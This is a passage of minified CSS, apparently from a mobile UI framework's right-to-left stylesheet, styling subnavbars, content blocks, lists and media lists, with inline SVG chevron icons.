a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .subnavbar a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .subnavbar a.icon-only{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;min-width:0}.md .subnavbar-inner{padding:0 16px}.md .subnavbar-inner>a.link:first-child{margin-right:-16px}.md .subnavbar-inner>a.link:last-child{margin-left:-16px}.md .page-with-subnavbar .page-content,.md .subnavbar~* .page-content,.md .subnavbar~.page-content{padding-top:48px}.md .navbar~.subnavbar~* .page-content,.md .navbar~.subnavbar~.page-content,.md .page-with-subnavbar .navbar~* .page-content,.md .page-with-subnavbar .navbar~.page-content{padding-top:104px}@media (min-width:768px){.md .navbar~.subnavbar~* .page-content,.md .navbar~.subnavbar~.page-content,.md .page-with-subnavbar .navbar~* .page-content,.md .page-with-subnavbar .navbar~.page-content{padding-top:112px}}.md .navbar~* .subnavbar,.md .navbar~.subnavbar,.md .page-with-subnavbar .navbar~* .subnavbar,.md .page-with-subnavbar .navbar~.subnavbar{top:56px}@media (min-width:768px){.md .navbar~* .subnavbar,.md .navbar~.subnavbar,.md .page-with-subnavbar .navbar~* .subnavbar,.md .page-with-subnavbar .navbar~.subnavbar{top:64px}}.md .color-theme-red .subnavbar,.md .color-theme-red.subnavbar{background:#f44336}.md .color-theme-green .subnavbar,.md .color-theme-green.subnavbar{background:#4caf50}.md .color-theme-blue .subnavbar,.md .color-theme-blue.subnavbar{background:#2196f3}.md .color-theme-pink .subnavbar,.md .color-theme-pink.subnavbar{background:#e91e63}.md .color-theme-yellow .subnavbar,.md .color-theme-yellow.subnavbar{background:#ffeb3b}.md .color-theme-orange .subnavbar,.md .color-theme-orange.subnavbar{background:#ff9800}.md .color-theme-gray .subnavbar,.md .color-theme-gray.subnavbar{background:#9e9e9e}.md .color-theme-white .subnavbar,.md .color-theme-white.subnavbar{background:#fff}.md .color-theme-black .subnavbar,.md .color-theme-black.subnavbar{background:#000}.md .subnavbar.color-red{background:#f44336}.md .subnavbar.color-green{background:#4caf50}.md .subnavbar.color-blue{background:#2196f3}.md .subnavbar.color-pink{background:#e91e63}.md .subnavbar.color-yellow{background:#ffeb3b}.md .subnavbar.color-orange{background:#ff9800}.md .subnavbar.color-gray{background:#9e9e9e}.md .subnavbar.color-white{background:#fff}.md .subnavbar.color-black{background:#000}@media (orientation:landscape){.md.device-iphone-x .ios-edges .subnavbar-inner,.md.device-iphone-x .ios-left-edge .subnavbar-inner,.md.device-iphone-x .panel-left .subnavbar-inner,.md.device-iphone-x .popup .subnavbar-inner,.md.device-iphone-x .sheet-modal .subnavbar-inner{padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .subnavbar-inner,.md.device-iphone-x .ios-right-edge .subnavbar-inner,.md.device-iphone-x .panel-right .subnavbar-inner,.md.device-iphone-x .popup .subnavbar-inner,.md.device-iphone-x .sheet-modal .subnavbar-inner{padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}}.block{-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;z-index:1}.block.no-hairlines ul:before,.block.no-hairlines:before,.ios .block.no-hairlines-ios ul:before,.ios .block.no-hairlines-ios:before,.md .block.no-hairlines-md ul:before,.md .block.no-hairlines-md:before{display:none!important}.block.no-hairlines ul:after,.block.no-hairlines:after,.ios .block.no-hairlines-ios ul:after,.ios .block.no-hairlines-ios:after,.md .block.no-hairlines-md ul:after,.md .block.no-hairlines-md:after{display:none!important}.block.no-hairline-top ul:before,.block.no-hairline-top:before,.ios .block.no-hairline-top-ios ul:before,.ios .block.no-hairline-top-ios:before,.md .block.no-hairline-top-md ul:before,.md .block.no-hairline-top-md:before{display:none!important}.block.no-hairline-bottom ul:after,.block.no-hairline-bottom:after,.ios .block.no-hairline-bottom-ios ul:after,.ios .block.no-hairline-bottom-ios:after,.md .block.no-hairline-bottom-md ul:after,.md .block.no-hairline-bottom-md:after{display:none!important}.block>h1:first-child,.block>h2:first-child,.block>h3:first-child,.block>h4:first-child,.block>p:first-child{margin-top:0}.block>h1:last-child,.block>h2:last-child,.block>h3:last-child,.block>h4:last-child,.block>p:last-child{margin-bottom:0}.block-title{position:relative;overflow:hidden;margin:0;white-space:nowrap;text-overflow:ellipsis;font-size:14px;line-height:1}.block-strong.inset{border-radius:7px}.block-strong.inset:before{display:none!important}.block-strong.inset:after{display:none!important}.block-footer,.block-header{font-size:14px}.block-footer h1:first-child,.block-footer h2:first-child,.block-footer h3:first-child,.block-footer h4:first-child,.block-footer p:first-child,.block-footer ul:first-child,.block-header h1:first-child,.block-header h2:first-child,.block-header h3:first-child,.block-header h4:first-child,.block-header p:first-child,.block-header ul:first-child{margin-top:0}.block-footer h1:last-child,.block-footer h2:last-child,.block-footer h3:last-child,.block-footer h4:last-child,.block-footer p:last-child,.block-footer ul:last-child,.block-header h1:last-child,.block-header h2:last-child,.block-header h3:last-child,.block-header h4:last-child,.block-header p:last-child,.block-header ul:last-child{margin-bottom:0}.block-footer h1:first-child:last-child,.block-footer h2:first-child:last-child,.block-footer h3:first-child:last-child,.block-footer h4:first-child:last-child,.block-footer p:first-child:last-child,.block-footer ul:first-child:last-child,.block-header h1:first-child:last-child,.block-header h2:first-child:last-child,.block-header h3:first-child:last-child,.block-header h4:first-child:last-child,.block-header p:first-child:last-child,.block-header ul:first-child:last-child{margin-top:0;margin-bottom:0}.block-header{margin-bottom:10px}.block-footer{margin-top:10px}@media (min-width:768px){.block-strong.tablet-inset:before{display:none!important}.block-strong.tablet-inset:after{display:none!important}}.md .block{margin:32px 0;padding:0 16px}.md .block-title{color:rgba(0,0,0,.54);margin:32px 16px 16px;line-height:16px;font-weight:500}.md .block-title+.block,.md .block-title+.block-header,.md .block-title+.card,.md .block-title+.list,.md .block-title+.timeline{margin-top:0}.md .block-strong{padding:16px}.md .block-strong:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .block-strong:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .block-strong:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .block-strong:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .block-strong:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .block-strong:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .block.inset{margin-left:16px;margin-right:16px}.md .block-strong.inset{border-radius:4px}.md .block-footer,.md .block-header{padding:0 16px;color:rgba(0,0,0,.54)}.md .block .block-footer,.md .block .block-header{padding:0}.md .block-header{margin-top:32px}.md .block-header+.block,.md .block-header+.card,.md .block-header+.list,.md .block-header+.timeline{margin-top:10px}.md .block-footer{margin-bottom:32px}.md .block .block-header,.md .card .block-header,.md .list .block-header,.md .timeline .block-header{margin-top:0}.md .block .block-footer,.md .card .block-footer,.md .list .block-footer,.md .timeline .block-footer{margin-bottom:0}.md .block+.block-footer,.md .card+.block-footer,.md .list+.block-footer,.md .timeline+.block-footer{margin-top:-22px}.md .block+.block-footer{margin-top:-22px;margin-bottom:32px}@media (min-width:768px){.md .block.tablet-inset{margin-left:16px;margin-right:16px;border-radius:4px}.md .block-strong.tablet-inset{border-radius:4px}}.md .theme-dark .block-title{color:#fff}.md .theme-dark .block-footer,.md .theme-dark .block-header{color:rgba(255,255,255,.54)}@media (orientation:landscape){.md.device-iphone-x .ios-edges .block-footer,.md.device-iphone-x .ios-edges .block-header,.md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block-footer,.md.device-iphone-x .ios-left-edge .block-header,.md.device-iphone-x .ios-left-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block-footer,.md.device-iphone-x .panel-left .block-header,.md.device-iphone-x .panel-left .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block-footer,.md.device-iphone-x .popup .block-header,.md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block-footer,.md.device-iphone-x .sheet-modal .block-header,.md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-left-edge){padding-left:calc(16px + constant(safe-area-inset-left));padding-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .ios-left-edge .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .panel-left .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-footer,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-left-edge) .block-header{padding-left:0}.md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .block-footer,.md.device-iphone-x .ios-edges .block-header,.md.device-iphone-x .ios-edges .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block-footer,.md.device-iphone-x .ios-right-edge .block-header,.md.device-iphone-x .ios-right-edge .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block-footer,.md.device-iphone-x .panel-right .block-header,.md.device-iphone-x .panel-right .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block-footer,.md.device-iphone-x .popup .block-header,.md.device-iphone-x .popup .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block-footer,.md.device-iphone-x .sheet-modal .block-header,.md.device-iphone-x .sheet-modal .block:not(.inset):not(.tablet-inset):not(.no-ios-edges):not(.no-ios-right-edge){padding-right:calc(16px + constant(safe-area-inset-right));padding-right:calc(16px + env(safe-area-inset-right))}.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-edges .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .ios-right-edge .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .panel-right .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .popup .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-footer,.md.device-iphone-x .sheet-modal .block:not(.no-ios-edges):not(.no-ios-right-edge) .block-header{padding-right:0}.md.device-iphone-x .ios-edges .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-edges .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block.inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block-title:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block.inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .ios-left-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .panel-left .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge),.md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-left-edge){margin-left:calc(16px + constant(safe-area-inset-left));margin-left:calc(16px + env(safe-area-inset-left))}}@media (orientation:landscape) and (min-width:768px){.md.device-iphone-x .ios-edges .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .ios-right-edge .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .panel-right .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .popup .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge),.md.device-iphone-x .sheet-modal .block.tablet-inset:not(.no-ios-edges):not(.no-ios-right-edge){margin-right:calc(16px + constant(safe-area-inset-right));margin-right:calc(16px + env(safe-area-inset-right))}}.list{position:relative;z-index:1}.list ul{list-style:none;margin:0;padding:0;position:relative}.list ul ul:before{display:none!important}.list ul ul:after{display:none!important}.list li{position:relative;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-media{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-flex-wrap:nowrap;-ms-flex-wrap:nowrap;flex-wrap:nowrap;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box;padding-bottom:8px}.list .item-inner{position:relative;width:100%;padding-top:8px;padding-bottom:8px;min-width:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch}.list .item-title{min-width:0;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;white-space:nowrap;position:relative;overflow:hidden;text-overflow:ellipsis;max-width:100%}.list .item-after{white-space:nowrap;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-right:auto}.list .item-link,.list .list-button{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color;display:block;position:relative;overflow:hidden;z-index:0}.list .item-content{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.list .item-subtitle{position:relative;overflow:hidden;white-space:nowrap;max-width:100%;text-overflow:ellipsis}.list .item-text{position:relative;overflow:hidden;text-overflow:hidden;-webkit-line-clamp:2;-webkit-box-orient:vertical;display:-webkit-box}.list .item-title-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-title-row .item-after{-webkit-align-self:center;-ms-flex-item-align:center;align-self:center}.list .item-row{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box}.list .item-cell{display:block;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1}.list li:last-child .list-button:after{display:none!important}.list li:last-child li:last-child>.item-content>.item-inner:after,.list li:last-child li:last-child>.item-inner:after,.list li:last-child li:last-child>.item-link>.item-content>.item-inner:after,.list li:last-child>.item-content>.item-inner:after,.list li:last-child>.item-inner:after,.list li:last-child>.item-link>.item-content>.item-inner:after{display:none!important}.ios .list.no-hairlines-ios ul:before,.ios .list.no-hairlines-ios:before,.list.no-hairlines ul:before,.list.no-hairlines:before,.md .list.no-hairlines-md ul:before,.md .list.no-hairlines-md:before{display:none!important}.ios .list.no-hairlines-ios ul:after,.ios .list.no-hairlines-ios:after,.list.no-hairlines ul:after,.list.no-hairlines:after,.md .list.no-hairlines-md ul:after,.md .list.no-hairlines-md:after{display:none!important}.ios .list.no-hairline-top-ios ul:before,.ios .list.no-hairline-top-ios:before,.list.no-hairline-top ul:before,.list.no-hairline-top:before,.md .list.no-hairline-top-md ul:before,.md .list.no-hairline-top-md:before{display:none!important}.ios .list.no-hairline-bottom-ios ul:after,.ios .list.no-hairline-bottom-ios:after,.list.no-hairline-bottom ul:after,.list.no-hairline-bottom:after,.md .list.no-hairline-bottom-md ul:after,.md .list.no-hairline-bottom-md:after{display:none!important}.ios .list.no-hairlines-between-ios .item-divider:after,.ios .list.no-hairlines-between-ios .item-inner:after,.ios .list.no-hairlines-between-ios .list-button:after,.ios .list.no-hairlines-between-ios .list-group-title:after,.list.no-hairlines-between .item-divider:after,.list.no-hairlines-between .item-inner:after,.list.no-hairlines-between .list-button:after,.list.no-hairlines-between .list-group-title:after,.md .list.no-hairlines-between-md .item-divider:after,.md .list.no-hairlines-between-md .item-inner:after,.md .list.no-hairlines-between-md .list-button:after,.md .list.no-hairlines-between-md .list-group-title:after{display:none!important}.ios .list.no-hairlines-between-ios.simple-list li:after,.list.no-hairlines-between.simple-list li:after,.md .list.no-hairlines-between-md.simple-list li:after{display:none!important}.ios .list.no-hairlines-between-ios.links-list a:after,.list.no-hairlines-between.links-list a:after,.md .list.no-hairlines-between-md.links-list a:after{display:none!important}.list.simple-list li{position:relative;white-space:nowrap;text-overflow:ellipsis;max-width:100%;-webkit-box-sizing:border-box;box-sizing:border-box;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center}.list.simple-list li:last-child:after{display:none!important}.list.links-list a{-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transition-property:background-color;transition-property:background-color;display:block;position:relative;overflow:hidden;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-box-sizing:border-box;box-sizing:border-box;white-space:nowrap;text-overflow:ellipsis;max-width:100%}.list.links-list li:last-child a:after{display:none!important}.media-list .item-inner,li.media-item .item-inner{display:block;-webkit-align-self:stretch;-ms-flex-item-align:stretch;align-self:stretch}.media-list .item-link .item-inner,li.media-item .item-link .item-inner{background:0 0}.media-list .item-media,li.media-item .item-media{-webkit-align-self:flex-start;-ms-flex-item-align:start;align-self:flex-start}.media-list .item-media img,li.media-item .item-media img{display:block}.links-list a,.list .item-link .item-inner,.media-list .chevron-center .item-link .item-inner,.media-list .item-link .item-title-row,.media-list .item-link.chevron-center .item-inner,.media-list.chevron-center .item-link .item-inner,li.media-item .chevron-center .item-link .item-inner,li.media-item .item-link .item-title-row,li.media-item .item-link.chevron-center .item-inner,li.media-item.chevron-center .item-link .item-inner{background-size:8px 13px;background-repeat:no-repeat;background-position:15px center;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23c7c7cc'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.item-link.no-chevron .item-inner,.links-list .no-chevron a,.links-list.no-chevron a,.media-list .chevron-center .item-title-row,.media-list.chevron-center .item-title-row,.media-list.no-chevron .item-link .item-title-row,.no-chevron .item-link .item-inner,.no-chevron .links-list a,.no-chevron .media-list .item-link .item-title-row,li.media-item .chevron-center .item-title-row,li.media-item .no-chevron .item-title-row,li.media-item.chevron-center .item-title-row,li.media-item.no-chevron .item-title-row{background-image:none!important}.media-list .item-link .item-inner,li.media-item .item-link .item-inner{background-image:none}.media-list .item-link .item-title-row,li.media-item .item-link .item-title-row{background-position:left center!important}.list-group ul:after,.list-group ul:before{z-index:25!important}.list-group+.list-group ul:before{display:none!important}.item-divider,li.item-divider,li.list-group-title{white-space:nowrap;position:relative;max-width:100%;text-overflow:ellipsis;overflow:hidden;z-index:15}li.list-group-title{position:relative;position:-webkit-sticky;position:sticky;top:0;margin-top:0;z-index:20}li.list-group-title:before{display:none!important}.list.inset .block-title{margin-left:0;margin-right:0}.list.inset ul:before{display:none!important}.list.inset ul:after{display:none!important}@media (min-width:768px){.list.tablet-inset .block-title{margin-left:0;margin-right:0}.list.tablet-inset ul:before{display:none!important}.list.tablet-inset ul:after{display:none!important}}.links-list.theme-dark a,.list.theme-dark .item-link .item-inner,.media-list.theme-dark .item-link .item-title-row,.theme-dark .links-list a,.theme-dark .list .item-link .item-inner,.theme-dark .media-list .item-link .item-title-row,.theme-dark li.media-item .item-link .item-title-row{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20width%3D'8px'%20height%3D'13px'%20viewBox%3D'0%200%208%2013'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpolygon%20fill%3D'%23434345'%20transform%3D'translate(6.500000%2C%206.500000)%20rotate(-225.000000)%20translate(-6.500000%2C%20-6.500000)%20'%20points%3D'11%2011%2011%202%209%202%209%209%202%209%202%2011%2010%2011'%3E%3C%2Fpolygon%3E%3C%2Fsvg%3E")}.media-list.theme-dark .item-link .item-inner,.theme-dark .media-list .item-link .item-inner,.theme-dark li.media-item .item-link .item-inner{background-image:none}.md .list{margin:32px 0;font-size:16px}.md .list .item-cell{width:100%;min-width:0;margin-right:16px}.md .list .item-cell:first-child{margin-right:0}.md .list ul ul{padding-right:56px}.md .list .item-media{padding-top:8px;min-width:40px}.md .list .item-media i+i,.md .list .item-media i+img{margin-right:8px}.md .list .item-media+.item-inner{margin-right:16px}.md .list .item-inner{min-height:48px;padding-left:16px}.md .list .item-after{color:#757575;font-size:14px;padding-right:8px}.md .list .item-link,.md .list .list-button{color:inherit}.md .list .item-link .item-inner,.md .list .list-button .item-inner{padding-left:42px}.md .list .item-link.active-state,.md .list .list-button.active-state{background-color:rgba(0,0,0,.1)}.md .list .list-button{padding:0 16px;font-size:16px;line-height:48px}.md .list .item-content{min-height:48px;padding-right:16px}.md .list .item-subtitle{font-size:14px}.md .list .item-text{font-size:14px;color:#757575;line-height:20px;max-height:40px}.md .list .item-footer,.md .list .item-header{font-weight:400;font-size:12px;line-height:1.2;white-space:normal}.md .list .item-footer{color:rgba(0,0,0,.5)}.md .list .item-link.no-chevron .item-inner,.md .list .no-chevron .item-link .item-inner,.md .list.no-chevron .item-link .item-inner,.md .no-chevron .list .item-link .item-inner{padding-left:16px}.md .simple-list li:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .simple-list li:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .simple-list li:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .simple-list li{padding-left:16px;padding-right:16px;line-height:48px;height:48px}.md .simple-list li:after{width:auto;left:0;right:16px}.md .links-list a:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .links-list a:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .links-list a:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .links-list a{height:48px;color:inherit}.md .links-list a.active-state{background-color:rgba(0,0,0,.1)}.md .links-list a:after{width:auto}.md .links-list a{padding-right:16px;padding-left:42px}.md .links-list a:after{right:16px;left:0}.md .links-list .no-chevron a,.md .links-list a.no-chevron,.md .links-list.no-chevron a,.md .no-chevron .links-list a{padding-left:16px}.md .media-list .item-inner,.md li.media-item .item-inner{padding-top:14px;padding-bottom:14px}.md .media-list .item-link .item-inner,.md li.media-item .item-link .item-inner{padding-left:16px}.md .media-list .item-link .item-title-row,.md li.media-item .item-link .item-title-row{padding-left:26px}.md .media-list .item-media,.md li.media-item .item-media{padding-top:14px;padding-bottom:14px}.md .media-list .chevron-center .item-link .item-inner,.md .media-list .item-link.chevron-center .item-inner,.md .media-list.chevron-center .item-link .item-inner,.md li.media-item .chevron-center .item-link .item-inner,.md li.media-item .item-link.chevron-center .item-inner,.md li.media-item.chevron-center .item-link .item-inner{padding-left:42px}.md .media-list .chevron-center .item-title-row,.md .media-list .no-chevron .item-link .item-title-row,.md .media-list.chevron-center .item-title-row,.md .media-list.no-chevron .item-link .item-title-row,.md .no-chevron .media-list .item-link .item-title-row,.md .no-chevron li.media-item .item-link .item-title-row,.md li.media-item .chevron-center .item-title-row,.md li.media-item.chevron-center .item-title-row,.md li.media-item.no-chevron .item-link .item-title-row{padding-left:0!important}.md .links-list a,.md .list .item-link .item-inner{background-position:16px center}.md .item-divider,.md .list-group-title{padding:0 16px;background:#f4f4f4;color:rgba(0,0,0,.54);height:48px;line-height:48px;-webkit-box-sizing:border-box;box-sizing:border-box;font-size:14px}.md .item-divider:before,.md .list-group-title:before{display:none!important}.md .item-divider:after,.md .list-group-title:after{display:none!important}.md .list-group-title{margin-top:0}.md .list .item-inner:after{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.md.device-pixel-ratio-2 .list .item-inner:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .list .item-inner:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .list ul:before{content:'';position:absolute;background-color:rgba(0,0,0,.12);display:block;z-index:15;top:0;right:auto;bottom:auto;left:0;height:1px;width:100%;-webkit-transform-origin:50% 0;transform-origin:50% 0}.md.device-pixel-ratio-2 .list ul:before{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.md.device-pixel-ratio-3 .list ul:before{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.md .list 